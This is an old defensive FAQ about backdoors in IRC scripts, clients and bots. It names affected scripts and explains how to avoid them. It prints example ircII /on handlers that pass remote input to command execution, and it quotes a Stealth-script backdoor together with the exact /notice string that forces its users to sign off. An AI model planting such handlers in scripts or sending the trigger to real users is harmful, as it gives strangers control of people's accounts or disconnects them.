Bugs and Backdoors in IRC clients, scripts and bots
---------------------------------------------------
- What is a backdoor?
A backdoor is a feature of a program that can be used to make it act in
some way that the person who is running it did not intend.
Among IRC-related programs, bots, clients and scripts can have
backdoors.
An important point to note is that some backdoors are intentional and
some are not; with ircII scripts specifically, the problem is that
ircII is not a very clear programming language when it comes to
evaluation, and neither is sh/csh (used in all the /EXECs), and it’s
easy for someone who doesn’t really understand what he’s doing to put
unwanted backdoors. In clients and bots, which are usually written in
C, the bugs or backdoors tend to be harder to find and exploit.
The line between an unintended backdoor and a bug is rather thin, I’d
call it a backdoor if it can be used to make the bot do somethign
specific, and just a bug if it can be used only to make the client or
bot disconnect (ping timeout, or excess flood).
- How dangerous can a backdoor be?
A backdoor can be more or less “powerful”, according to how much
access to your client’s features and/or account it gives to an intruder.
In the worst cases, a backdoor will let an intruder execute arbitrary
commands on the machine your client or bot is running, allowing full
access to your account. This can in turn allow an intruder to compromise
your whole system’s security, by cracking passwords or otherwise. They
can also make you send mail, post to Usenet, etc. I will call this
giving Unix access.
In other cases, the backdoor will let the intruder control your IRC
client, making it do all IRC-related things like joining channels,
speaking in them, or signing off, or /killing if you’re an IRCop. I will
call this giving IRC access.
And in some cases, the backdoor will only let them do some specific
things. The most common case is when the backdoor only lets an intruder
disconnect you from IRC.
Typically, unintended backdoors and bugs will either give full Unix and
IRC access, or just let anyone kill the client.
- What known scripts, clients and bots have backdoors?
Off the top of my head (I’ve SEEN all of these, and some of them I’ve
found myself) :
iNFiNiTY, toolZ, UltBox (and probably other related scripts) have a
backdoor (very likely unintended) that gives full Unix access to
anyone.
early versions of GargOyle have an intended backdoor (supposedly
stolen from some other script) that gives Unix and IRC access to
anyone.
some versions of PhoEniX have an unintended backdoor that let people
make you signoff
Pillow Fighter II has an intended backdoor that gives Unix and IRC
access to anyone.
Stealth has at least 2 intended backdoors, one of which gives
Unix and IRC access to anyone, and the other one that lets people
make you signoff.
Some (old) versions of Axis have a backdoor that give on specific
person Unix and IRC access, and another one that makes you give him
ops. Recent versions supposedly don’t have it; I haven’t checked
them.
Some (hacked?) versions of the VeVeS script have an intended
backdoor that gives Unix and IRC access to anyone.
IrcOP.irc is a trojan horse script (i.e. it does NOTHING useful for
you) which removes all your files, opens your account to anyone,
and makes you do obnoxious stuff on IRC.
Some (hacked?) versions of the ComBot bot have an intended backdoor
that gives IRC access to anyone.
eggdrop bots, if improperly configured, can give Unix access to
to anyone with bot-master privileges.
All VladBots, ComBot, HackBots, Kn1ghtBots, DweebBots, StelBots and
similar bots can be killed (segmentation fault, bus error, or ping
timeout, according to specific details), with more or less
difficulty (and without flooding them).
Some hacked old version of ircII 2.2.9 have a backdoor that gives
anyone Unix and IRC access. This one was the object of a CERT
advisory.
Old versions of ircII (prior to 2.3.x-beta) have a bug in the
filtering of escape sequences that lets anyone with ops on a
channel where you are to mess up your screen.
Old versions of ircII (prior to 2.6) have a bug in DCC handling
that lets someone make you ping timeout once you have a DCC
connection with them.
This is by no means a comprehensive list; there are tons of scripts out
there and I don’t spend my time skimming them all. In particular I’ve
never looked closely at TextBox or LiCe, and I know of no-one who has,
so I wouldn’t trust them either.
- How does a backdoor work?
In ircII, backdoors are typically /on statements like these:
1 - /on ^ctcp “% % BACKDOOR *” $3-
2 - /on ^notice “% BACKDOOR *” $2-
3 - /on ^ctcp “% % BACKDOOR *” quote $3-
4 - /on ^ctcp “% % DCC SEND % *” exec -name stuff ls $5
5 - /on -notice “% STUFF*” eval ^assign blah $3-
1 and #2 are obviously intended, and give anyone IRC and Unix
(by sending EXEC commands) access.
3 is obviously intended too, and gives IRC access only.
4 looks like an unintended bug, but still gives full Unix access
to anyone (beware, this can be made safe by $strip()ing lots of
characters, but is a potentially dangerous thing to do. Did you
know that ^ is interpreted like | by SunOS /bin/sh’s?).
With #5, the problem is the eval, but once again, since ircII lets
you execute the contents of variables without an eval, looking for
all the evals and all the /on’s and all the /exec’s is not a safe
way to be sure a script is backdoor-free.
Finally, a real example of a backdoor, for the most skeptical; this
is taken straight out of the Stealth script:
alias qwrrw {
/echo [^BFate^B] You have been killed
/signoff I’m a dork, and I am sorry for disturbing you all. I’ll leave now}
on ^notice “% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54” {/qwrrw}
So if someone is running Stealth, all you have to do is
/notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54
and they signoff.
And I’d like to see anyone arguing that this was not intended…
- How can I avoid backdoors?
It all comes to a simple fact: IRC is full of people who cannot be
trusted, and running (/load’ing) a script (or a bot) that someone sent
you is akin to putting a lot of trust in this person, AND in all the
people who have had this script between the original author and whoever
sent it to you. You don’t only need to trust that the person doesn’t
mean to harm you, but also that the person can check and make sure
that they aren’t going to.
War scripts like Serpent and Phoenix and TextBox and LiCe are the least
trustable for a number of reasons:
Someone who writes a script (or puts his name at the top of a bunch
of stolen routines) that can be disruptive to the net is obviously
not someone who is interested in doing people a favor. Trusting
their code is really the thing not to do.
These scripts tend to be very big (200k is no uncommon…) and
thus are a pain to check. I have looked at some in enough detail
to find backdoors, but you need to look a lot more carefully
to be able to say that there are none left. Definitely not for
the casual user.
They are often distributed from one to another, instead of getting
them from some “official” place. This means that any one with a
minimum knowledge of ircII scripting can add 2 lines in the middle
of Phoenix, increase the version number, and send it around.
The scripts I would personally trust:
zer0 - I’ve written it myself, so I know there are no backdoors,
I'm reasonably sure there are no exploitable bugs, and
it's small enough for anyone to check in a reasonable
time.
You can get it from
http://www.eleves.ens.fr:8080/home/espel/index.html.
Deturbo - Written by DeadelviS.
SuperPak - Written by TG; get version 3.2, not Barron’s version
(numbered 5.4).
All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts
You can send any additional comments to:
orabidoo roger.espel.llima@ens.fr